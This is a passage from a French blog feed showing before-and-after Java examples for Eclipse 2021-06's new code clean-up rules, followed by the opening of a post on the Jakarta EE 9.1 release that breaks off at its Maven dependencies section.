&lt;p&gt;C&amp;#8217;est l&amp;#8217;occasion de faire un focus sur cet outil. Cela permet d&amp;#8217;aller plus loin que le simple formattage. Les propositions sont classées selon les catégories suivantes :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Organisation du code&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Style de code&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Duplication de code&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fonctionnalité Java&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Accès aux membres&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Code manquant&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Optimisation&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Correction de code&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Code non nécessaire&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La configuration est faite au niveau des préférences. (Allez le menu Java &amp;gt; Code Style &amp;gt; Clean Up). Cela peut être surchargé par projet.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image&quot;&gt;&lt;img src=&quot;/resources/img/blog/2021/07/eclipseide-cleanup.png&quot; alt=&quot;eclipseide cleanup&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;les_nouveautés_2&quot;&gt;Les nouveautés&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Comme mentionné plus haut, l&amp;#8217;outil de nettoyage de code vient avec 12 améliorations. Nous allons voir les cas d&amp;#8217;usages :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;(Style de code) Utilisation du mot clé &lt;code&gt;instanceof&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Cleanup_1_UtilisationInstanceOf {
	public boolean maMethode(Object obj) {
        return String.class.isInstance(obj);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;devient&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Cleanup_1_UtilisationInstanceOf {
	public boolean maMethode(Object obj) {
        return (obj instanceof String);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;(Duplication de code) Factorisation des opérateurs&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Cleanup_2_FactorisationOperateur {
	public boolean maMethode(boolean repetitionBool, boolean isValide, boolean isActive) {
        return repetitionBool &amp;amp;&amp;amp; !isValide || repetitionBool &amp;amp;&amp;amp; isActive;
	}
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;devient&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Cleanup_2_FactorisationOperateur {
	public boolean maMethode(boolean repetitionBool, boolean isValide, boolean isActive) {
        return repetitionBool &amp;amp;&amp;amp; !isValide || repetitionBool &amp;amp;&amp;amp; isActive;
	}
}
----&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;(Duplication de code) Réorganise les instructions &lt;code&gt;if&lt;/code&gt; pour éviter la duplication.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Cleanup_3_OrganiseIfExterieur {
    public void maMethode(boolean isValide, boolean isActive) {
        if (isValide) {
            if (isActive) {
                System.out.println(&quot;123&quot;);
            }
        } else if (isActive) {
            System.out.println(&quot;456&quot;);
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;devient&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Cleanup_3_OrganiseIfExterieur {
    public void maMethode(boolean isValide, boolean isActive) {
        if (isActive) {
			if (isValide) {
			    System.out.println(&quot;123&quot;);
			} else {
			    System.out.println(&quot;456&quot;);
			}
		}
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;(Duplication de code) Une seul instruction &lt;code&gt;if&lt;/code&gt; au lieu de bloc dupliqué&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Cleanup_4_UnSeulBlocIf {
	public void maMethode(int nombre) {
        if (nombre == 0) {
           System.out.println(&quot;123&quot;);
           return;
        }
        if (nombre == 1) {
           System.out.println(&quot;123&quot;);
           return;
        }
        System.out.println(&quot;456&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;devient&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Cleanup_4_UnSeulBlocIf {
	public void maMethode(int nombre) {
        if ((nombre == 0) || (nombre == 1)) {
           System.out.println(&quot;123&quot;);
           return;
        }
        System.out.println(&quot;456&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;(Optimisation) Utilisation de la méthode  &lt;code&gt;String.isBlank()&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;appel de la méthode &lt;code&gt;String.strip()&lt;/code&gt; est coûteux car elle nécessite la création d&amp;#8217;une instance de &lt;code&gt;String&lt;/code&gt; alors que nous pouvons avoir l&amp;#8217;information directement avec la méthode &lt;code&gt;String.isBlank()&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Cleanup_5_UtilisationIsBlank {
    public boolean maMethode(String texte) {
        return texte.strip().isEmpty();
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;devient&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Cleanup_5_UtilisationIsBlank {
    public boolean maMethode(String texte) {
        return texte.isBlank();
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;(Optimisation) Utilisation de &lt;code&gt;valueOf()&lt;/code&gt; au lieu du constructeur&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour rappel, les constructeurs pour ces types de classes &quot;wrapper&quot; sont dépréciés depuis Java 9.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Cela va dans le sens des avertissements supplémentaires de Java 16 sur l&amp;#8217;instantiation de ce type de classes &lt;a href=&quot;http://localhost:8820/2021/02/JEP390-Warnings-for-Value-Based-Classes.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(mon billet dédié à la JEP 390)&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Cleanup_6_UtilisationValueOf {
    public void maMethode() {
        Byte un = new Byte((byte)4);
        Boolean deux = new Boolean(true);
        Character trois = new Character(&apos;c&apos;);
        Double quatre = new Double(2.0);
        Float cinq = new Float(1f);
        Long six = new Long(10);
        Short sept = new Short((short)25);
        Integer huit = new Integer(1);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;devient&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Cleanup_6_UtilisationValueOf {
    public void maMethode() {
        Byte un = Byte.valueOf((byte)4);
        Boolean deux = Boolean.valueOf(true);
        Character trois = Character.valueOf(&apos;c&apos;);
        Double quatre = Double.valueOf(2.0);
        Float cinq = Float.valueOf(1f);
        Long six = Long.valueOf(10);
        Short sept = Short.valueOf((short)25);
        Integer huit = Integer.valueOf(1);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;(Optimisation) Utilisation type primitif au lieu de leur pendant objet&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela évite les phases de &quot;autoboxing/unboxing&quot;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Côté performance, les types primitifs pourront être sur le tas. Cela est plus efficace qu&amp;#8217;un appel à des méthodes d&amp;#8217;une instance.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Cleanup_7_UtilisationTypePrimitif {
    public int maMethode(Double nombre) {
    	Double variableInitialise = new Double(&quot;0&quot;);

    	if (variableInitialise.doubleValue() &amp;gt; 0.0) {
    		System.out.println(variableInitialise.toString() + 1);
    	}

    	return variableInitialise.compareTo(nombre);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;devient&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Cleanup_7_UtilisationTypePrimitif {
    public int maMethode(Double nombre) {
    	double variableInitialise = Double.parseDouble(&quot;0&quot;);

    	if (variableInitialise &amp;gt; 0.0) {
    		System.out.println(Double.toString(variableInitialise) + 1);
    	}

    	return Double.compare(variableInitialise, nombre);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;(Code non nécessaire) Utilisation de la valeur booléenne plutôt qu&apos;&apos;une comparaison&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Cleanup_8_UtilisationValeurBooleenne {
    public void maMethode(boolean isValide) {
    	if (isValide == true) {
    		System.out.println(&quot;123&quot;);
    	}
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;devient&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Cleanup_8_UtilisationValeurBooleenne {
    public void maMethode(boolean isValide) {
    	if (isValide) {
    		System.out.println(&quot;123&quot;);
    	}
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;(Organisation de code) Utilisation de comparateur implicite&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Cleanup_9_UtilisationComparateurImplicite {
    public void maMethode(List&amp;lt;Date&amp;gt; listeAtrier) {
    	Collections.sort(listeAtrier, new Comparator&amp;lt;Date&amp;gt;() {

			@Override
			public int compare(Date arg0, Date arg1) {
				return arg0.compareTo(arg1);
			}
		});
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;devient&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Cleanup_9_UtilisationComparateurImplicite {
    public void maMethode(List&amp;lt;Date&amp;gt; listeAtrier) {
    	Collections.sort(listeAtrier);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;(Code non nécessaire) Creation de tableau avec les accolades&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Cleanup_10_CreationTableauAvecAccolades {
    public int maMethode() {
    	int[][] tableauEntier = new int[][] { { 42 } };
    	return tableauEntier.length;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;devient&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Cleanup_10_CreationTableauAvecAccolades {
    public int maMethode() {
    	int[][] tableauEntier = { { 42 } };
    	return tableauEntier.length;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;(Code non nécessaire) Suppression de la variable avant le retour de la méthode&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Cleanup_11_SuppressionVariableAvantRetour {
    public int maMethode() {
    	int i = 0;
    	return i;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;devient&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Cleanup_11_SuppressionVariableAvantRetour {
    public int maMethode() {
    	return 0;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Remplacer les appels des propriétés par leurs constantes&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;A noter que ces méthodes existent depuis Java 7.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Cleanup_12_RemplacerProprietesParConstante {
    public void maMethode() {
    	String s = System.getProperty(&quot;file.separator&quot;);
    	String t = System.getProperty(&quot;line.separator&quot;);
    	String u = System.getProperty(&quot;file.encoding&quot;);
    	String v = System.getProperty(&quot;path.separator&quot;);
    	Boolean x = Boolean.parseBoolean(System.getProperty(&quot;ma.propriete&quot;));
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;devient&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Cleanup_12_RemplacerProprietesParConstante {
    public void maMethode() {
    	String s = FileSystems.getDefault().getSeparator();
    	String t = System.lineSeparator();
    	String u = Charset.defaultCharset().displayName();
    	String v = File.pathSeparator;
    	Boolean x = Boolean.getBoolean(&quot;ma.propriete&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;le_tester_soi_même&quot;&gt;Le tester soi-même.&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour tester facilement, je vous ai préparé un &lt;a href=&quot;https://github.com/lilian-benoit/billets-codes-sources/tree/master/2021/07/2021-07-Eclipse-2021-06&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;projet disponible&lt;/a&gt; sur github.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;pré-requis&lt;/strong&gt; : Eclipse 2021-06 installé.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour cela, il faut réaliser les opérations suivantes :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Recupérer le code à partir du dépôt&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Charger le projet 2021-07-Eclipse-2021-06&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Charger le fichier de configuration ide/regles-nettoyage-de-code.xml au niveau de l&amp;#8217;outil de nettoyage (au niveau des préférences Eclipse)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Vous avez les exemples de code de ce billet dans le package &lt;code&gt;fr.lbenoit.billets.codes_sources.eclipse&lt;/code&gt;, il suffit de réaliser cliquer droit &amp;gt; Source &amp;gt; Clean up&amp;#8230;&amp;#8203;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image&quot;&gt;&lt;img src=&quot;/resources/img/blog/2021/07/eclipseide-apply-cleanup.png&quot; alt=&quot;eclipseide apply cleanup&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Profites-en.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wiki.eclipse.org/Simultaneous_Release&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;PAge wiki sur Simultaneous Release&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.eclipse.org/eclipseide/2021-06/noteworthy/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Liste complète des nouveautés&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.eclipse.org/eclipse/news/4.20/jdt.php&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Evolution de la partie JDT&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=nhDN0L1_fII&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;une video (en anglais)&lt;/a&gt; présente les nouveautés.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Jakarta EE 9.1 est sortie</title>
      <link>https://www.lilian-benoit.fr/2021/06/Jakartaee-9-1-est-sortie.html</link>
      <pubDate>dim., 20 juin 2021 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2021/06/Jakartaee-9-1-est-sortie.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#jakarta_ee_en_chiffres&quot;&gt;Jakarta EE en chiffres :&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#le_principe&quot;&gt;Le principe&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#mise_à_jour&quot;&gt;Mise à jour&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#implémentation_compatible&quot;&gt;Implémentation Compatible&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#jakarta_ee_9_1_platform&quot;&gt;Jakarta EE 9.1 Platform :&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#jakarta_ee_9_1_web_profile&quot;&gt;Jakarta EE 9.1 Web Profile :&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Six mois après la sortie de Jakarta EE 9.0, une nouvelle version (&lt;a href=&quot;https://projects.eclipse.org/projects/ee4j.jakartaee-platform/releases/9.1&quot;&gt;Jakarta EE Platform 9.1&lt;/a&gt;) est sortie. La plateforme est constitué d&amp;#8217;un ensemble d&amp;#8217;API dont les plus connus sont : Servlets, JPA, JAX-RS et CDI.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;jakarta_ee_en_chiffres&quot;&gt;Jakarta EE en chiffres :&lt;/h3&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;34 projets&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;41 spécifications&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;51 dépôts GIT&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;120 committeurs&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;le_principe&quot;&gt;Le principe&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est une version mineure. Il n&amp;#8217;y a pas d&amp;#8217;évolution sur les API par rapport à la version 9.0.
Cette version inclut le support de Java 11. Néanmoins les sources restent compilées avec un niveau Java 8.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour rappel, la version Jakarta EE 9.0 correspond notamment au changement de nommage des packages de &lt;code&gt;javax.*&lt;/code&gt; à &lt;code&gt;jakarta.*&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Sur cette règle générale, il y a quelques exceptions :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;javax.sql.*&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;javax.transaction.xa.*&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;javax.xml.*&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;javax.naming.*&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;javax.swing.*&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Ce qui est normale car les packages ci-dessus font partie du Java SE et non de Java EE / Jakarta EE.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;mise_à_jour&quot;&gt;Mise à jour&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour mettre à jour vos pom, voici les dépendances à changer en fonction du profil retenu.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Dépendances Maven pour Jakarta EE Platform 9.1&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
